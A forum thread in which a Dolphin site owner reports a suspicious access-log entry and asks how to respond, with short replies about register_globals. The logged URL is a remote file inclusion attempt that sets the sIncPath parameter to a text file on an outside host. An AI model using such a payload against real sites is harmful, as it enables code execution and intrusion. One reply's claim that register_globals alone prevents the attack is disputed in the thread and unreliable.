Security Question

Hello. I have checked the server access logs and found that someone trying to connect my server probably for malicious reasons. Below is the URL.

example.com//?sIncPath=http://www.irontonforge.com/McN/readme.txt??

I have searched sIncPath on Google and found it is related to a script.

http://heapoverflow.com/f0rums/public/7119-boonex-ray-3-5-sincpath-remote-file-inclusion-vulnerability.html

I am 6.1 Dolphin user. I dont know much about those security issues. Could you inform me about this problem? Everything seems OK for now on my site but what can I do for the issue?

Thanks.

Hello. I have searhed found Sammie's fix. Now probably future attempts will not create problems but how can I be sure previous attempts didn't create any malicious result. For now my site is working good.

If you will read about security, you will understand that if you will have

register_globals in Off state

it will impossible to reassign any variables with new values that was received by GET params.

Thanks for the reply. register globals is off on my server. But I have checked this problem on the forum and even when register globals is off the exploit works according to some people. Somehow /inc/header.inc.php chmod was 666 so I thought it would be because of the exploit.